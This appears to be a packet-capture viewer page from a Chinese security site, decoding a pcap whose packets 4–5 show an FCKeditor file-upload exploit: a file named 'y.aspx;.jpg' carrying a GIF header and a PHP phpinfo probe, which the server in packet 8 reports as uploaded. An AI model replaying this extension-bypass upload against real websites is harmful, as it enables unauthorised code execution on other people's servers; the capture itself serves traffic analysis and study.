机窝安全——包浏览

首页 > 抓包

Subject	Content
/pkt/up/20170705/20170705163614_84368.pcap Size is:	1935
FileHeader is:	d4c3b2a1020004000000000000000000 ffff000001000000

Pack 1
PackHeader is:	00000000000000004200000042000000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	66
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536488796->0
Data Len is:	12
Hex Data is:	020405b40103030801010402
Binary Data is:	�
Pack 2
PackHeader is:	00000000000000004200000042000000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	66
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408330->3536488797
Data Len is:	12
Hex Data is:	020405b40101040201030307
Binary Data is:	�
Pack 3
PackHeader is:	00000000000000003600000036000000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	54
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536488797->2914408331
Data Len is:	0
Hex Data is:
Binary Data is:
Pack 4
PackHeader is:	00000000000000000a0300000a030000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	778
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536488797->2914408331
Data Len is:	724
Hex Data is:	504f5354202f736974652f696e636c75 64652f66636b656469746f722f656469 746f722f66696c656d616e616765722f 636f6e6e6563746f72732f617370782f 636f6e6e6563746f722e617370783f43 6f6d6d616e643d46696c6555706c6f61 6426547970653d496d61676526437572 72656e74466f6c6465723d2532462048 5454502f312e310d0a486f73743a2061 74726162612d686f6c64696e672e636f 6d0d0a436f6e6e656374696f6e3a206b 6565702d616c6976650d0a436f6e7465 6e742d4c656e6774683a203231340d0a 43616368652d436f6e74726f6c3a206d 61782d6167653d300d0a416363657074 3a20746578742f68746d6c2c6170706c 69636174696f6e2f7868746d6c2b786d 6c2c6170706c69636174696f6e2f786d 6c3b713d302e392c696d6167652f7765 62702c2a2f2a3b713d302e380d0a4f72 6967696e3a20687474703a2f2f617472 6162612d686f6c64696e672e636f6d0d 0a557365722d4167656e743a204d6f7a 696c6c612f352e30202857696e646f77 73204e5420362e333b20574f57363429 204170706c655765624b69742f353337 2e333620284b48544d4c2c206c696b65 204765636b6f29204368726f6d652f34 332e302e323335372e31333220536166 6172692f3533372e33360d0a436f6e74 656e742d547970653a206d756c746970 6172742f666f726d2d646174613b2062 6f756e646172793d2d2d2d2d5765624b 6974466f726d426f756e64617279724b 564d5178444e35736c4a704c4a4e0d0a 526566657265723a20687474703a2f2f 6174726162612d686f6c64696e672e63 6f6d2f736974652f696e636c7564652f 66636b656469746f722f656469746f72 2f66696c656d616e616765722f636f6e 6e6563746f72732f74742e68746d6c0d 0a4163636570742d456e636f64696e67 3a20677a69702c206465666c6174650d 0a4163636570742d4c616e6775616765 3a207a682d434e2c7a683b713d302e38 0d0a0d0a
Binary Data is:	POST /site/include/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F HTTP/1.1 Host: atraba-holding.com Connection: keep-alive Content-Length: 214 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Origin: http://atraba-holding.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrKVMQxDN5slJpLJN Referer: http://atraba-holding.com/site/include/fckeditor/editor/filemanager/connectors/tt.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8
Pack 5
PackHeader is:	00000000000000000c0100000c010000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	268
Src MAC is:	2c44fd24f36b
Dst MAC is:	38834561efa6
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	192.168.0.3
DecIP Addr is:	213.239.195.211
Data Proctol is:	06(TCP)
Src Port is:	62842
Dec Port is:	80
SEQ -> NSEQ is:	3536489521->2914408331
Data Len is:	214
Hex Data is:	2d2d2d2d2d2d5765624b6974466f726d 426f756e64617279724b564d5178444e 35736c4a704c4a4e0d0a436f6e74656e 742d446973706f736974696f6e3a2066 6f726d2d646174613b206e616d653d22 4e657746696c65223b2066696c656e61 6d653d22792e617370783b2e6a706722 0d0a436f6e74656e742d547970653a20 696d6167652f6a7065670d0a0d0a4749 4631313c3f7068700d0a706870696e66 6f28293b0d0a3f3e0d0a2d2d2d2d2d2d 5765624b6974466f726d426f756e6461 7279724b564d5178444e35736c4a704c 4a4e2d2d0d0a
Binary Data is:	------WebKitFormBoundaryrKVMQxDN5slJpLJN Content-Disposition: form-data; name="NewFile"; filename="y.aspx;.jpg" Content-Type: image/jpeg GIF11<?php phpinfo(); ?> ------WebKitFormBoundaryrKVMQxDN5slJpLJN--
Pack 6
PackHeader is:	00000000000000003c0000003c000000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408331->3536489521
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��
Pack 7
PackHeader is:	00000000000000003c0000003c000000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408331->3536489735
Data Len is:	6
Hex Data is:	000000000000
Binary Data is:	��
Pack 8
PackHeader is:	00000000000000006301000063010000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	355
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408331->3536489735
Data Len is:	301
Hex Data is:	485454502f312e3120323030204f4b0d 0a446174653a205468752c203039204a 756c20323031352030333a33303a3433 20474d540d0a5365727665723a204170 616368650d0a582d506f77657265642d 42793a205048502f352e342e34300d0a 436f6e6e656374696f6e3a20636c6f73 650d0a5472616e736665722d456e636f 64696e673a206368756e6b65640d0a43 6f6e74656e742d547970653a20746578 742f68746d6c0d0a0d0a37640d0a3c73 637269707420747970653d2274657874 2f6a617661736372697074223e77696e 646f772e706172656e742e4f6e55706c 6f6164436f6d706c6574656428302c22 2f7573657266696c65732f696d616765 2f79755f7068703b2e6a7067222c2279 755f7068703b2e6a7067222c20222229 203b3c2f7363726970743e0d0a
Binary Data is:	HTTP/1.1 200 OK Date: Thu, 09 Jul 2015 03:30:43 GMT Server: Apache X-Powered-By: PHP/5.4.40 Connection: close Transfer-Encoding: chunked Content-Type: text/html 7d <script type="text/javascript">window.parent.OnUploadCompleted(0,"/userfiles/image/yu_php;.jpg","yu_php;.jpg", "") ;</script>
Pack 9
PackHeader is:	00000000000000003c0000003c000000
DateTime:	1970-01-01 08:00:00.0
Pack Caplen is:	60
Src MAC is:	38834561efa6
Dst MAC is:	2c44fd24f36b
Ethertype is:	0800
IP Version is:	4
IP Header Len is:	20(bytes)
SrcIP Addr is:	213.239.195.211
DecIP Addr is:	192.168.0.3
Data Proctol is:	06(TCP)
Src Port is:	80
Dec Port is:	62842
SEQ -> NSEQ is:	2914408632->3536489735
Data Len is:	6
Hex Data is:	300d0a0d0a00
Binary Data is:	0 �